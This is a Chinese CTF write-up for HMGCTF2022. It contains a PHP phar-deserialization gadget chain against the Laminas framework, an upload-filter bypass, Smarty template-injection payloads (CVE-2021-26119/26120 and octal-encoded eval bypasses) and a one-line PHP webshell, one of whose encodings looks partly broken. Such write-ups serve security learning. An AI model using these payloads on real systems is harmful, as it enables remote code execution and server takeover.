[HMGCTF2022] WP

WEB

Fan website

首先是一个www.zip的源码泄露,是laminas框架 mvc的框架首先就是看路由 在\module\Album\src\Controller\AlbumController.php里面有功能点

在这里插入图片描述

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
<?php
namespace Album\Controller;

use Album\Model\AlbumTable;
use Laminas\Mvc\Controller\AbstractActionController;
use Laminas\View\Model\ViewModel;
use Album\Form\AlbumForm;
use Album\Form\UploadForm;
use Album\Model\Album;

class AlbumController extends AbstractActionController
{
    // Add this property:
    private $table;
    private $white_list;

    public function __construct(AlbumTable $table){
        $this->table = $table;
        $this->white_list = array('.jpg','.jpeg','.png');
    }

    public function indexAction()
    {
        return new ViewModel([
            'albums' => $this->table->fetchAll(),
        ]);
    }

    public function addAction()
    {
        $form = new AlbumForm();
        $form->get('submit')->setValue('Add');

        $request = $this->getRequest();

        if (! $request->isPost()) {
            return ['form' => $form];
        }

        $album = new Album();
        $form->setInputFilter($album->getInputFilter());
        $form->setData($request->getPost());

        if (! $form->isValid()) {
            return ['form' => $form];
        }

        $album->exchangeArray($form->getData());
        $this->table->saveAlbum($album);
        return $this->redirect()->toRoute('album');
    }


    public function editAction()
    {
        $id = (int) $this->params()->fromRoute('id', 0);

        if (0 === $id) {
            return $this->redirect()->toRoute('album', ['action' => 'add']);
        }

        // Retrieve the album with the specified id. Doing so raises
        // an exception if the album is not found, which should result
        // in redirecting to the landing page.
        try {
            $album = $this->table->getAlbum($id);
        } catch (\Exception $e) {
            return $this->redirect()->toRoute('album', ['action' => 'index']);
        }

        $form = new AlbumForm();
        $form->bind($album);
        $form->get('submit')->setAttribute('value', 'Edit');

        $request = $this->getRequest();
        $viewData = ['id' => $id, 'form' => $form];

        if (! $request->isPost()) {
            return $viewData;
        }

        $form->setInputFilter($album->getInputFilter());
        $form->setData($request->getPost());

        if (! $form->isValid()) {
            return $viewData;
        }

        $this->table->saveAlbum($album);

        // Redirect to album list
        return $this->redirect()->toRoute('album', ['action' => 'index']);
    }


    public function deleteAction()
    {
        $id = (int) $this->params()->fromRoute('id', 0);
        if (!$id) {
            return $this->redirect()->toRoute('album');
        }

        $request = $this->getRequest();
        if ($request->isPost()) {
            $del = $request->getPost('del', 'No');

            if ($del == 'Yes') {
                $id = (int) $request->getPost('id');
                $this->table->deleteAlbum($id);
            }

            // Redirect to list of albums
            return $this->redirect()->toRoute('album');
        }

        return [
            'id'    => $id,
            'album' => $this->table->getAlbum($id),
        ];
    }


    public function imgdeleteAction()
    {
        $request = $this->getRequest();
        if(isset($request->getPost()['imgpath'])){
            $imgpath = $request->getPost()['imgpath'];
            $base = substr($imgpath,-4,4);
            if(in_array($base,$this->white_list)){     //白名单
                @unlink($imgpath);
            }else{
                echo 'Only Img File Can Be Deleted!';
            }
        }
    }
    public function imguploadAction()
    {
        $form = new UploadForm('upload-form');

        $request = $this->getRequest();
        if ($request->isPost()) {
            // Make certain to merge the $_FILES info!
            $post = array_merge_recursive(
                $request->getPost()->toArray(),
                $request->getFiles()->toArray()
            );

            $form->setData($post);
            if ($form->isValid()) {
                $data = $form->getData();
                $base = substr($data["image-file"]["name"],-4,4);
                if(in_array($base,$this->white_list)){   //白名单限制
                    $cont = file_get_contents($data["image-file"]["tmp_name"]);
                    if (preg_match("/<\?|php|HALT\_COMPILER/i", $cont )) {
                        die("Not This");
                    }
                    if($data["image-file"]["size"]<3000){
                        die("The picture size must be more than 3kb");
                    }
                    $img_path = realpath(getcwd()).'/public/img/'.md5($data["image-file"]["name"]).$base;
                    echo $img_path;
                    $form->saveImg($data["image-file"]["tmp_name"],$img_path);
                }else{
                    echo 'Only Img Can Be Uploaded!';
                }
                // Form is valid, save the form!
                //return $this->redirect()->toRoute('upload-form/success');
            }
        }

        return ['form' => $form];
    }

}

首先是很明显是一个文件上传

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
public function imguploadAction()
    {
        $form = new UploadForm('upload-form');

        $request = $this->getRequest();
        if ($request->isPost()) {
            // Make certain to merge the $_FILES info!
            $post = array_merge_recursive(
                $request->getPost()->toArray(),
                $request->getFiles()->toArray()
            );

            $form->setData($post);
            if ($form->isValid()) {
                $data = $form->getData();
                $base = substr($data["image-file"]["name"],-4,4);
                if(in_array($base,$this->white_list)){   //白名单限制
                    $cont = file_get_contents($data["image-file"]["tmp_name"]);
                    if (preg_match("/<\?|php|HALT\_COMPILER/i", $cont )) {
                        die("Not This");
                    }
                    if($data["image-file"]["size"]<3000){
                        die("The picture size must be more than 3kb");
                    }
                    $img_path = realpath(getcwd()).'/public/img/'.md5($data["image-file"]["name"]).$base;
                    echo $img_path;
                    $form->saveImg($data["image-file"]["tmp_name"],$img_path);
                }else{
                    echo 'Only Img Can Be Uploaded!';
                }
                // Form is valid, save the form!
                //return $this->redirect()->toRoute('upload-form/success');
            }
        }

        return ['form' => $form];
    }

首先有一个白名单限制,只能传图片后缀,再者这里有一个phar文件的识别 这里就属于此地无银三百两了

1
("/<\?|php|HALT\_COMPILER/i",

找phar的利用点,在imgdeleteAction里面有@unlink($imgpath);,可以触发phar

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
public function imgdeleteAction()
{
    $request = $this->getRequest();
    if(isset($request->getPost()['imgpath'])){
        $imgpath = $request->getPost()['imgpath'];
        $base = substr($imgpath,-4,4);
        if(in_array($base,$this->white_list)){     //白名单
            @unlink($imgpath);
        }else{
            echo 'Only Img File Can Be Deleted!';
        }
    }
}

那么就好做了,首先去找链子 如下链子可以rce,直接构造phar文件

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php

namespace Laminas\View\Resolver{
	class TemplateMapResolver{
		protected $map = ["setBody"=>"system"];
	}
}
namespace Laminas\View\Renderer{
	class PhpRenderer{
		private $__helpers;
		function __construct(){
			$this->__helpers = new \Laminas\View\Resolver\TemplateMapResolver();
		}
	}
}


namespace Laminas\Log\Writer{
	abstract class AbstractWriter{}
	
	class Mail extends AbstractWriter{
		protected $eventsToMail = ["cat /flag"];
		protected $subjectPrependText = null;
		protected $mail;
		function __construct(){
			$this->mail = new \Laminas\View\Renderer\PhpRenderer();
		}
	}
}

namespace Laminas\Log{
	class Logger{
		protected $writers;
		function __construct(){
			$this->writers = [new \Laminas\Log\Writer\Mail()];
		}
	}
}

namespace{
$a = new \Laminas\Log\Logger();
@unlink("phar.phar");
$phar = new Phar("phar.phar"); 
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); 
$phar->setMetadata($a); 
$phar->addFromString("test.txt", "test"); 
$phar->stopBuffering();
}

由于他会对phar文件的特征进行识别,所以我们需要加以绕过,这里有两个绕过方法,我直接把phar文件进行gzip压缩,这样就没有特征了

在这里插入图片描述

然后修改后缀为png,在/album/imgupload里上传上去

他说文件太小,必须要大于3kb

1
2
3
if($data["image-file"]["size"]<3000){
    die("The picture size must be more than 3kb");
}

那么就直接在后面加数据就可以了

在这里插入图片描述

然后上传上去,返回图片的路径

在这里插入图片描述

在到/album/imgdelete里面用unlink去触发phar

在这里插入图片描述

成功拿到flag

Smarty calculator

也是开局有一个www.zip的源码泄露,是Smarty模板引擎,看了一下版本是3.1.39

在这里插入图片描述

那么他说自己修改了这个模板,那么我们下载到源文件去比较一下

在这里插入图片描述

重点在这个文件:smarty_internal_compile_function.php 他修改了正则过滤

在这里插入图片描述

再看漏洞,网上搜了一轮,在3.1.38有一个代码注入漏洞,CVE-2021-26119和CVE-2021-26120国外有师傅分析过这个漏洞

很明显我们应该就是得走这个方向 我对比了一下38和39的文件的修改,他的修改就是在这个文件里增加了一个正则过滤

在这里插入图片描述

在我的测试下,这个payload是可以在3.1.38下打通的

1
{function+name='rce(){};system("id");function+'}{/function}

打断点发现这个过滤的确会拦截,所以不能直接在3.1.39打通

1
preg_match('/[a-zA-Z0-9_\x80-\xff](.*)+$/', $_name)

赛后复现,发现可以从math这里入手

在这里插入图片描述

在function_math.php里面,有eval可以执行命令,但是这里有一个过滤

在这里插入图片描述

这个过滤如果没过去,那么就会进入到error出去

在这里插入图片描述

这个可以用八进制去绕过

在这里插入图片描述

可以看到生成了模板缓存文件,将执行的命令结果输出

在这里插入图片描述

payload:

1
data={$poc="poc"}{math equation="(\"\\163\\171\\163\\164\\145\\155\")(\"\\167\\150\\157\\141\\155\\151\")"}

在这里插入图片描述

拿flag写个马就行了

1
file_put_contents("1.php","<?php eval($_POST['a']);?>")

转一下得到

1
eval:{$poc="poc"}{math equation="(\"\\146\\151\\154\\145\\137\\160\\165\\164\\137\\143\\157\\156\\164\\145\\156\\164\\163\")(\"\\31\\2e\\70\\68\\70\",\"\\74\\77\\160\\150\\160\\40\\145\\166\\141\\154\\50\\44\\137\\120\\117\\123\\124\\133\\47\\141\\47\\135\\51\\73\\77\\76\")"}

但是这个就很奇怪,这样执行命令的话就不会经过他所修改的正则的方法里面,这是算一个非预期解吗

Misc

MissingFile

直接文本搜索都有flag了

在这里插入图片描述

重要系统(复现)

有键盘流量

在这里插入图片描述

连接上ssh后,不需要提权能直接grep到flag。。。

Licensed under CC BY-NC-SA 4.0